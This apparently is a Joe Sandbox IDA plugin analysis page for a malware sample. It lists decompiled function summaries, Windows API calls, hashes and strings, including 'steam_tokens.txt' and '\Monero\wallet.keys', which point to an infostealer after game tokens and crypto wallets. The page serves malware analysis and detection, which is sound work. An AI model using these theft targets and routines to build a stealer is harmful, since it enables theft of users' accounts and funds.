Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32a0cb1cd569c80eabba53e80909d29599cbb7378493ac18a3f42951ca03a081
Instruction ID: 9a0595d6ebb193c11a9f5d3839fdbafb1e9a215fe7ad6d62fe2e8431fdbd49d2
Opcode Fuzzy Hash: 32a0cb1cd569c80eabba53e80909d29599cbb7378493ac18a3f42951ca03a081
Instruction Fuzzy Hash: EB61F4B4A00218DBCB14DF94EA84BEFB7B0BB44308F10959DE41977280D776AE96DF91

Function 00ED5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

lstrlen.KERNEL32(00000000,00000000,00EE0ACA), ref: 00ED512A

Strings

steam_tokens.txt, xrefs: 00ED513F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 3da7f849d75ec23050418939c664dba99fc9daaa77e73eff1cff02b6d6ca9aa0
Instruction ID: fa0d2a84f4ea0c6ff6215c60a5a42ff05afd0d1da7831c531d3a0952b3279572
Opcode Fuzzy Hash: 3da7f849d75ec23050418939c664dba99fc9daaa77e73eff1cff02b6d6ca9aa0
Instruction Fuzzy Hash: 30F04B7280020866CB08FBA0E956AED737CDA10300F44626AB81672292EE35670AC6A2

Function 00ED7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00EE0E2C), ref: 00ED7F00
wsprintfA.USER32 ref: 00ED7F16

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 522da58282590f8da78822898c1bf86eaa3572a9921bd810d69856b6b3644785
Instruction ID: b9428bb05110ced06b9108b888d8534f5d718abb5de5c9dafb33b4b7670d859e
Opcode Fuzzy Hash: 522da58282590f8da78822898c1bf86eaa3572a9921bd810d69856b6b3644785
Instruction Fuzzy Hash: B9F062B1A44708EBC714CF85EC45FAAB7BCFB44614F40466AF515A3280D7B559448BD1

Function 00ECB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

lstrlen.KERNEL32(00000000), ref: 00ECB9C2
lstrlen.KERNEL32(00000000), ref: 00ECB9D6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1f61c5a82e7bee03b7afd79aedd080f79457a5f3d0c0791dd978a286d18998d1
Instruction ID: 48c99bfc6a62a76ea366171011eee0ad597c6d3599757ee7bc71b09065389aad
Opcode Fuzzy Hash: 1f61c5a82e7bee03b7afd79aedd080f79457a5f3d0c0791dd978a286d18998d1
Instruction Fuzzy Hash: BAE130768101189BCB19EBA0DC96EEE7378EF54300F44517AF50672291EF746B4ACB62

Function 00ECAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

lstrlen.KERNEL32(00000000), ref: 00ECB16A
lstrlen.KERNEL32(00000000), ref: 00ECB17E

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f89d69a9efdf04c0afb2037c3b0c87990d57547f2fb1440703d833b99f3314f1
Instruction ID: 8f8e70cecbaf4a2f03e6dd90c833a26a4313b9cd9d87fd99e9a2cbe2c43bc7e6
Opcode Fuzzy Hash: f89d69a9efdf04c0afb2037c3b0c87990d57547f2fb1440703d833b99f3314f1
Instruction Fuzzy Hash: 909163729101489BCB08EBA0DC96EEE7378EF54300F44517AF506B3151EF746B4ACB62

Function 00ECB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

lstrlen.KERNEL32(00000000), ref: 00ECB42E
lstrlen.KERNEL32(00000000), ref: 00ECB442

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: a64aad813856eabdc03c0e10279c0470b14965c6f1ca2c89c2cc2c4df099a057
Instruction ID: 4e373c13ef45cfd2828a6c40c59c71c74a7e34ba41a0bf1c8ffb721422e046ed
Opcode Fuzzy Hash: a64aad813856eabdc03c0e10279c0470b14965c6f1ca2c89c2cc2c4df099a057
Instruction Fuzzy Hash: 4C7142769101489ACB18EBA0DD96DEE73B8FF54300F44513AF502B7291EF746B4ACB62

Function 00ED4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4BEA
lstrcat.KERNEL32(?,00A9DBE0), ref: 00ED4C08

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
Part of subcall function 00ED4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
Part of subcall function 00ED4910: FindClose.KERNEL32(000000FF), ref: 00ED4B92

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49B0
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE08D2), ref: 00ED49C5
Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49E2
Part of subcall function 00ED4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00ED4A1E
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00A9EB08), ref: 00ED4A4A
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FF8), ref: 00ED4A5C
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A70
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FFC), ref: 00ED4A82
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A96
Part of subcall function 00ED4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00ED4AAC
Part of subcall function 00ED4910: DeleteFileA.KERNEL32(?), ref: 00ED4B31

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED4A07

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 04184716841b592b2a4aa3d138d4c0a11165ac0e634b64abe9894de63cca345c
Instruction ID: bba1e5527baf2711b45eccecbdeff636154291edb1447e8fd3658ba84b1c7da8
Opcode Fuzzy Hash: 04184716841b592b2a4aa3d138d4c0a11165ac0e634b64abe9894de63cca345c
Instruction Fuzzy Hash: C341D8B790030467C768FB60FC42EEE337DAB99300F00955DB65967286EDB19BC98B91

Function 00EC6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00EC6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00EC6753

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
